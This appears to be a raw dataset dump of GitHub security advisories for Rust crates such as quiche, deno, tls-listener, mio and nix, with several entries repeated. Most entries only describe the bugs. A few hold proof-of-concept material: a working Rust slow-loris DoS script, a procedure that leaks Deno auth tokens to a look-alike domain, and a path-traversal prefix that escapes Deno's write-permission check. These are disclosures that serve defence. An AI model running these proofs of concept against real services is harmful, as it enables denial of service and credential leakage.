deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-73v2-rxqp-7q4f
Package: aliyundrive-webdav (RUST)
Severity: HIGH (CVSS 0.0)
CWE: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
Vulnerable versions: <= 2.3.3
Patched in: unpatched

Summary: aliyundrive-webdav vulnerable to Command Injection

Details:
An issue in aliyundrive-webdav v.2.3.3 and before allows a remote attacker to execute arbitrary code via a crafted payload to the sid parameter in the `action_query_qrcode` component.
GitHub Security Advisory: GHSA-2qph-qpvm-2qf7
Package: tls-listener (RUST)
Severity: HIGH (CVSS 7.5)
CWE: CWE-400: Uncontrolled Resource Consumption
Vulnerable versions: <= 0.9.1
Patched in: 0.10.0

Summary: tls-listener affected by the slow loris vulnerability with default configuration

Details:
### Summary
With the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS.

### Details
The default configuration options make any public service using `TlsListener::new()` vulnerable to a slow-loris DoS attack.

```rust
/// Default number of concurrent handshakes
pub const DEFAULT_MAX_HANDSHAKES: usize = 64;
/// Default timeout for the TLS handshake.
pub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10);
```

### PoC

Running the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server.

```rust
use std::{net::ToSocketAddrs, time::Duration};
use tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};

#[tokio::main]
async fn main() {
    const N: usize = 1024;
    const T: Duration = Duration::from_secs(10);

    let url = "127.0.0.1:3000";
    let sockets: Vec<_> = url
        .to_socket_addrs()
        .unwrap()
        .inspect(|s| println!("{s:?}"))
        .collect();

    let mut js = JoinSet::new();

    let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32));
    int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst);
    for _ in 0..10000 {
        for &socket in &sockets {
            int.tick().await;
            js.spawn(async move {
                let mut stream = TcpStream::connect(socket).await.unwrap();
                let _ = tokio::time::timeout(T, stream.read_to_end(&mut Vec::new())).await;
            });
        }
    }

    while js.join_next().await.is_some() {}
}

```

### Impact

This is an instance of a [slow-loris attack](https://en.wikipedia.org/wiki/Slowloris_(computer_security)). This impacts any publically accessible service using the default configuration of `tls-listener`


### Mitigation

Previous versions can mitigate this by passing a large value, such as `usize::MAX` as the parameter to `Builder::max_handshakes`.
GitHub Security Advisory: GHSA-78wx-jg4j-5j6g
Package: quiche (RUST)
Severity: MODERATE (CVSS 5.9)
CWE: CWE-400: Uncontrolled Resource Consumption
Vulnerable versions: >= 0.20.0, < 0.20.1
Patched in: 0.20.1

Summary: quiche vulnerable to unlimited resource allocation by QUIC CRYPTO frames flooding

Details:
### Impact

Cloudflare Quiche (through version 0.19.1/0.20.0) was affected by an unlimited resource allocation vulnerability causing rapid increase of memory usage of the system running quiche server or client.

A remote attacker could take advantage of this vulnerability by repeatedly sending an unlimited number of 1-RTT CRYPTO frames after previously completing the QUIC handshake.
Exploitation was possible for the duration of the connection which could be extended by the attacker.

### Patches

Quiche 0.19.2 and 0.20.1 are the earliest versions containing the fix for this issue.
GitHub Security Advisory: GHSA-78wx-jg4j-5j6g
Package: quiche (RUST)
Severity: MODERATE (CVSS 5.9)
CWE: CWE-400: Uncontrolled Resource Consumption
Vulnerable versions: < 0.19.2
Patched in: 0.19.2

Summary: quiche vulnerable to unlimited resource allocation by QUIC CRYPTO frames flooding

Details:
### Impact

Cloudflare Quiche (through version 0.19.1/0.20.0) was affected by an unlimited resource allocation vulnerability causing rapid increase of memory usage of the system running quiche server or client.

A remote attacker could take advantage of this vulnerability by repeatedly sending an unlimited number of 1-RTT CRYPTO frames after previously completing the QUIC handshake.
Exploitation was possible for the duration of the connection which could be extended by the attacker.

### Patches

Quiche 0.19.2 and 0.20.1 are the earliest versions containing the fix for this issue.
GitHub Security Advisory: GHSA-xhg9-xwch-vr7x
Package: quiche (RUST)
Severity: LOW (CVSS 3.7)
CWE: CWE-400: Uncontrolled Resource Consumption
Vulnerable versions: >= 0.20.0, < 0.20.1
Patched in: 0.20.1

Summary: quiche vulnerable to unbounded storage of information related to connection ID retirement

Details:
### Impact

Cloudflare quiche was discovered to be vulnerable to unbounded storage of information related to connection ID retirement, which could lead to excessive resource consumption. Each QUIC connection possesses a set of connection Identifiers (IDs); see [RFC 9000 Section 5.1](https://datatracker.ietf.org/doc/html/rfc9000#section-5.1). Endpoints declare the number of active connection IDs they are willing to support using the active_connection_id_limit transport parameter. The peer can create new IDs using a NEW_CONNECTION_ID frame but must stay within the active ID limit. This is done by retirement of old IDs, the endpoint sends NEW_CONNECTION_ID includes a value in the retire_prior_to field, which elicits a RETIRE_CONNECTION_ID frame as confirmation. An unauthenticated remote attacker can exploit the vulnerability by sending NEW_CONNECTION_ID frames and manipulating the connection (e.g. by restricting the peer's congestion window size) so that RETIRE_CONNECTION_ID frames can only be sent at a slower rate than they are received, leading to storage of information related to connection IDs in an unbounded queue. 

### Patches

Quiche versions 0.19.2 and 0.20.1 are the earliest to address this problem. There is no workaround for affected versions.
GitHub Security Advisory: GHSA-xhg9-xwch-vr7x
Package: quiche (RUST)
Severity: LOW (CVSS 3.7)
CWE: CWE-400: Uncontrolled Resource Consumption
Vulnerable versions: < 0.19.2
Patched in: 0.19.2

Summary: quiche vulnerable to unbounded storage of information related to connection ID retirement

Details:
### Impact

Cloudflare quiche was discovered to be vulnerable to unbounded storage of information related to connection ID retirement, which could lead to excessive resource consumption. Each QUIC connection possesses a set of connection Identifiers (IDs); see [RFC 9000 Section 5.1](https://datatracker.ietf.org/doc/html/rfc9000#section-5.1). Endpoints declare the number of active connection IDs they are willing to support using the active_connection_id_limit transport parameter. The peer can create new IDs using a NEW_CONNECTION_ID frame but must stay within the active ID limit. This is done by retirement of old IDs, the endpoint sends NEW_CONNECTION_ID includes a value in the retire_prior_to field, which elicits a RETIRE_CONNECTION_ID frame as confirmation. An unauthenticated remote attacker can exploit the vulnerability by sending NEW_CONNECTION_ID frames and manipulating the connection (e.g. by restricting the peer's congestion window size) so that RETIRE_CONNECTION_ID frames can only be sent at a slower rate than they are received, leading to storage of information related to connection IDs in an unbounded queue. 

### Patches

Quiche versions 0.19.2 and 0.20.1 are the earliest to address this problem. There is no workaround for affected versions.
GitHub Security Advisory: GHSA-75jp-vq8x-h4cq
Package: wasmi (RUST)
Severity: HIGH (CVSS 7.3)
CWE: CWE-787: Out-of-bounds Write
Vulnerable versions: >= 0.15.0, <= 0.31.0
Patched in: 0.31.1

Summary: Wasmi Out-of-bounds Write for host to Wasm calls with more than 128 Parameters

Details:
### Summary

In the WASMI Interpreter, an [Out-of-bounds Buffer Write](https://cwe.mitre.org/data/definitions/787.html) will arise arise if the host calls or resumes a Wasm function with more parameters than the default limit (128), as it will surpass the stack value. This doesn’t affect calls from Wasm to Wasm, only from host to Wasm.

### Impact

After conducting an analysis of the dependent Polkadot systems of `wasmi`: [Pallet Contracts](https://github.com/paritytech/polkadot-sdk/tree/master/substrate/frame/contracts), [Parity Signer](https://github.com/paritytech/parity-signer), and [Smoldot](https://github.com/smol-dot/smoldot), we have found that none on those systems have been affected by the issue as they are calling host to Wasm function with a small limited amount of parameters always. 

### Mitigations

If you are using `wasmi` betwen version 0.15.0 and 0.31.0, please update it to the [0.31.1](https://github.com/paritytech/wasmi/releases/tag/v0.31.1) patch release that we just published.

### Workarounds

Ensure no more than 128 parameters can be pass in a call from the host to a Wasm function. 

### References

Patch PR: <PR>

### Special thanks

Special thanks to Stellar Development Foundation for reporting this security vulnerability.
GitHub Security Advisory: GHSA-cgqf-3cq5-wvcj
Package: apollo-router (RUST)
Severity: HIGH (CVSS 7.5)
CWE: CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)
Vulnerable versions: >= 0.9.5, < 1.40.2
Patched in: 1.40.2

Summary: Apollo Router's Compressed Payloads do not respect HTTP Payload Limits

Details:
### Impact
The Apollo Router is a configurable, high-performance graph router written in Rust to run a federated supergraph that uses Apollo Federation. Affected versions are subject to a Denial-of-Service (DoS) type vulnerability. When receiving compressed HTTP payloads, affected versions of the Router evaluate the `limits.http_max_request_bytes` configuration option after the entirety of the compressed payload is decompressed. If affected versions of the Router receive highly compressed payloads, this could result in significant memory consumption while the compressed payload is expanded. 

### Patches
Router version 1.40.2 has a fix for the vulnerability.

### Workarounds
If you are unable to upgrade, you may be able to implement mitigations at proxies or load balancers positioned in front of your Router fleet (e.g. Nginx, HAProxy, or cloud-native WAF services) by creating limits on HTTP body upload size.
GitHub Security Advisory: GHSA-5frw-4rwq-xhcr
Package: deno (RUST)
Severity: MODERATE (CVSS 4.6)
CWE: CWE-20: Improper Input Validation
Vulnerable versions: >= 1.8.0, < 1.40.4
Patched in: 1.40.4

Summary: Deno's improper suffix match testing for DENO_AUTH_TOKENS

Details:
### Summary

Deno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for `example.com` may be sent to `notexample.com`.

### Details

[auth_tokens.rs uses a simple ends_with check](https://github.com/denoland/deno/blob/3f4639c330a31741b0efda2f93ebbb833f4f95bc/cli/auth_tokens.rs#L89), which matches `www.deno.land` to a `deno.land` token as intended, but also matches `im-in-ur-servers-attacking-ur-deno.land` to `deno.land` tokens.

### PoC

- Set up a server that logs requests. RequestBin will do. For example, `denovulnpoc.example.com`.
- Run `DENO_AUTH_TOKENS=a1b2c3d4e5f6@left-truncated.domain deno run https://not-a-left-truncated.domain`. For example, `DENO_AUTH_TOKENS=a1b2c3d4e5f6@poc.example.com deno run https://denovulnpoc.example.com`
- Observe that the token intended only for the truncated domain is sent to the full domain

### Impact
_What kind of vulnerability is it? Who is impacted?_
Anyone who uses DENO_AUTH_TOKENS and imports potentially untrusted code is affected.
GitHub Security Advisory: GHSA-3xc6-7h59-j2x4
Package: eza (RUST)
Severity: MODERATE (CVSS 0.0)
Vulnerable versions: < 0.18.2
Patched in: 0.18.2

Summary: Duplicate Advisory: eza Potential Heap Overflow Vulnerability for AArch64

Details:
## Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-3qx3-6hxr-j2ch. This link is maintained to preserve external references.

## Original Description
Buffer Overflow vulnerability in eza before version 0.18.2, allows local attackers to execute arbitrary code via the .git/HEAD, .git/refs, and .git/objects components.
GitHub Security Advisory: GHSA-wrqv-pf6j-mqjp
Package: deno (RUST)
Severity: HIGH (CVSS 7.2)
CWE: CWE-488: Exposure of Data Element to Wrong Session
Vulnerable versions: >= 1.35.1, < 1.36.3
Patched in: 1.36.3

Summary: Deno's Node.js Compatibility Runtime has Cross-Session Data Contamination

Details:
### Summary

A vulnerability in Deno's Node.js compatibility runtime allows for cross-session data contamination during simultaneous asynchronous reads from Node.js streams sourced from sockets or files. The issue arises from the re-use of a global buffer (BUF) in stream_wrap.ts used as a performance optimization to limit allocations during these asynchronous read operations. This can lead to data intended for one session being received by another session, potentially resulting in data corruption and unexpected behavior.

### Details

A bug in Deno's Node.js compatibility runtime results in data cross-reception during simultaneous asynchronous reads from Node.js network streams. When multiple independent network socket connections are involved, this vulnerability can be triggered. For instance, two separate server sockets that receive data from their respective client sockets and then echo the received data back to the client using Node.js streams may experience an issue where data from one socket may appear on another socket. Due to the improper isolation of the global buffer (`BUF`), data sent by one socket can end up being incorrectly received by another socket. Consequently, data intended for one session may be exposed to another session, potentially leading to data corruption and unexpected behavior.

This buffer was introduced as a performance optimization to avoid excessive allocations during network read operations.

In cases where the [net.Stream](https://nodejs.org/api/net.html) is connected to a remote server such as a database or key/value store such as Redis, this may result in a packet received on one connection being presented to another, causing data cross-contamination between multiple users and potentially leaking sensitive information.

It is important to note that this vulnerability does not affect Deno network streams created with the `Deno.listen` and `Deno.connect` APIs. 

The impact of this issue may extend beyond node.js network streams, however, and may also affect asynchronous reads from non-network node.js Stream such as those created from files.

### PoC

https://github.com/denoland/deno/issues/20188

### Impact

This affects all users of Deno that use the node.js compatibility layer for network communication or other streams, including packages that may require node.js libraries indirectly.
GitHub Security Advisory: GHSA-hrqr-jv8w-v9jh
Package: deno (RUST)
Severity: MODERATE (CVSS 5.8)
CWE: CWE-20: Improper Input Validation
Vulnerable versions: < 1.41.1
Patched in: 1.41.1

Summary: Insufficient permission checking in `Deno.makeTemp*` APIs

Details:
### Impact

Insufficient validation of parameters in `Deno.makeTemp*` APIs would allow for creation of files outside of the allowed directories. This may allow the user to overwrite important files on the system that may affect other systems.

A user may provide a prefix or suffix to a `Deno.makeTemp*` API containing path traversal characters. The permission check would prompt for the base directory of the API, but the final file that was created would be outside of this directory:

```
$ mkdir /tmp/good
$ mkdir /tmp/bad
$ deno repl --allow-write=/tmp/good
> Deno.makeTempFileSync({ dir: "/tmp/bad" })
┌ ⚠️  Deno requests write access to "/tmp/bad".
├ Requested by `Deno.makeTempFile()` API.
├ Run again with --allow-write to bypass this prompt.
└ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all write permissions) > n
❌ Denied write access to "/tmp/bad".
Uncaught PermissionDenied: Requires write access to "/tmp/bad", run again with the --allow-write flag
    at Object.makeTempFileSync (ext:deno_fs/30_fs.js:176:10)
    at <anonymous>:1:27
> Deno.makeTempFileSync({ dir: "/tmp/good", prefix: "../bad/" })
"/tmp/good/../bad/a9432ef5"
$ ls -l /tmp/bad/a9432ef5
-rw-------@ 1 user  group  0 Mar  4 09:20 /tmp/bad/a9432ef5
```

### Patches

This is fixed in Deno 1.41.1.
GitHub Security Advisory: GHSA-r8w9-5wcg-vfj7
Package: mio (RUST)
Severity: HIGH (CVSS 7.5)
CWE: CWE-416: Use After Free, CWE-672: Operation on a Resource after Expiration or Release
Vulnerable versions: >= 0.7.2, <= 0.8.10
Patched in: 0.8.11

Summary: Mio's tokens for named pipes may be delivered after deregistration

Details:
### Impact

When using named pipes on Windows, mio will under some circumstances return invalid tokens that correspond to named pipes that have already been deregistered from the mio registry. The impact of this vulnerability depends on how mio is used. For some applications, invalid tokens may be ignored or cause a warning or a crash. On the other hand, for applications that store pointers in the tokens, this vulnerability may result in a use-after-free.

For users of Tokio, this vulnerability is serious and can result in a use-after-free in Tokio.

The vulnerability is Windows-specific, and can only happen if you are using named pipes. Other IO resources are not affected.

### Affected versions
This vulnerability has been fixed in mio v0.8.11.

All versions of mio between v0.7.2 and v0.8.10 are vulnerable.

Tokio is vulnerable when you are using a vulnerable version of mio AND you are using at least Tokio v1.30.0. Versions of Tokio prior to v1.30.0 will ignore invalid tokens, so they are not vulnerable.

### Workarounds
Vulnerable libraries that use mio can work around this issue by detecting and ignoring invalid tokens.

### Technical details

When an IO resource registered with mio has a readiness event, mio delivers that readiness event to the user using a user-specified token. Mio guarantees that when an IO resource is [deregistered](https://docs.rs/mio/latest/mio/struct.Registry.html#method.deregister), then it will never return the token for that IO resource again. However, for named pipes on windows, mio may sometimes deliver the token for a named pipe even though the named pipe has been previously deregistered.

This vulnerability was originally reported in the Tokio issue tracker: [tokio-rs/tokio#6369](https://github.com/tokio-rs/tokio/issues/6369)
This vulnerability was fixed in: [tokio-rs/mio#1760](https://github.com/tokio-rs/mio/pull/1760)
This vulnerability is also known as [RUSTSEC-2024-0019](https://rustsec.org/advisories/RUSTSEC-2024-0019.html).

Thank you to @rofoun and @radekvit for discovering and reporting this issue.
GitHub Security Advisory: GHSA-xvc9-xwgj-4cq9
Package: http (RUST)
Severity: HIGH (CVSS 7.5)
CWE: CWE-190: Integer Overflow or Wraparound
Vulnerable versions: < 0.1.20
Patched in: 0.1.20

Summary: Duplicate Advisory: Integer Overflow in HeaderMap::reserve() can cause Denial of Service

Details:
### Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-x7vr-c387-8w57. This link is maintained to preserve external references.

### Original Description

HeaderMap::reserve() used usize::next_power_of_two() to calculate the increased capacity. However, next_power_of_two() silently overflows to 0 if given a sufficiently large number in release mode.

If the map was not empty when the overflow happens, the library will invoke self.grow(0) and start infinite probing. This allows an attacker who controls the argument to reserve() to cause a potential denial of service (DoS).

The flaw was corrected in 0.1.20 release of http crate.
GitHub Security Advisory: GHSA-76w9-p8mg-j927
Package: nix (RUST)
Severity: MODERATE (CVSS 6.7)
CWE: CWE-787: Out-of-bounds Write
Vulnerable versions: >= 0.22.0, < 0.22.2
Patched in: 0.22.2

Summary: Out-of-bounds Write in nix

Details:
On certain platforms, if a user has more than 16 groups, the nix::unistd::getgrouplist function will call the libc getgrouplist function with a length parameter greater than the size of the buffer it provides, resulting in an out-of-bounds write and memory corruption.

The libc getgrouplist function takes an in/out parameter ngroups specifying the size of the group buffer. When the buffer is too small to hold all of the requested user's group memberships, some libc implementations, including glibc and Solaris libc, will modify ngroups to indicate the actual number of groups for the user, in addition to returning an error. The version of nix::unistd::getgrouplist in nix 0.16.0 and up will resize the buffer to twice its size, but will not read or modify the ngroups variable. Thus, if the user has more than twice as many groups as the initial buffer size of 8, the next call to getgrouplist will then write past the end of the buffer.

The issue would require editing /etc/groups to exploit, which is usually only editable by the root user.
GitHub Security Advisory: GHSA-76w9-p8mg-j927
Package: nix (RUST)
Severity: MODERATE (CVSS 6.7)
CWE: CWE-787: Out-of-bounds Write
Vulnerable versions: >= 0.16.0, < 0.20.2
Patched in: 0.20.2

Summary: Out-of-bounds Write in nix

Details:
On certain platforms, if a user has more than 16 groups, the nix::unistd::getgrouplist function will call the libc getgrouplist function with a length parameter greater than the size of the buffer it provides, resulting in an out-of-bounds write and memory corruption.

The libc getgrouplist function takes an in/out parameter ngroups specifying the size of the group buffer. When the buffer is too small to hold all of the requested user's group memberships, some libc implementations, including glibc and Solaris libc, will modify ngroups to indicate the actual number of groups for the user, in addition to returning an error. The version of nix::unistd::getgrouplist in nix 0.16.0 and up will resize the buffer to twice its size, but will not read or modify the ngroups variable. Thus, if the user has more than twice as many groups as the initial buffer size of 8, the next call to getgrouplist will then write past the end of the buffer.

The issue would require editing /etc/groups to exploit, which is usually only editable by the root user.
GitHub Security Advisory: GHSA-76w9-p8mg-j927
Package: nix (RUST)
Severity: MODERATE (CVSS 6.7)
CWE: CWE-787: Out-of-bounds Write
Vulnerable versions: >= 0.21.0, < 0.21.2
Patched in: 0.21.2

Summary: Out-of-bounds Write in nix

Details:
On certain platforms, if a user has more than 16 groups, the nix::unistd::getgrouplist function will call the libc getgrouplist function with a length parameter greater than the size of the buffer it provides, resulting in an out-of-bounds write and memory corruption.

The libc getgrouplist function takes an in/out parameter ngroups specifying the size of the group buffer. When the buffer is too small to hold all of the requested user's group memberships, some libc implementations, including glibc and Solaris libc, will modify ngroups to indicate the actual number of groups for the user, in addition to returning an error. The version of nix::unistd::getgrouplist in nix 0.16.0 and up will resize the buffer to twice its size, but will not read or modify the ngroups variable. Thus, if the user has more than twice as many groups as the initial buffer size of 8, the next call to getgrouplist will then write past the end of the buffer.

The issue would require editing /etc/groups to exploit, which is usually only editable by the root user.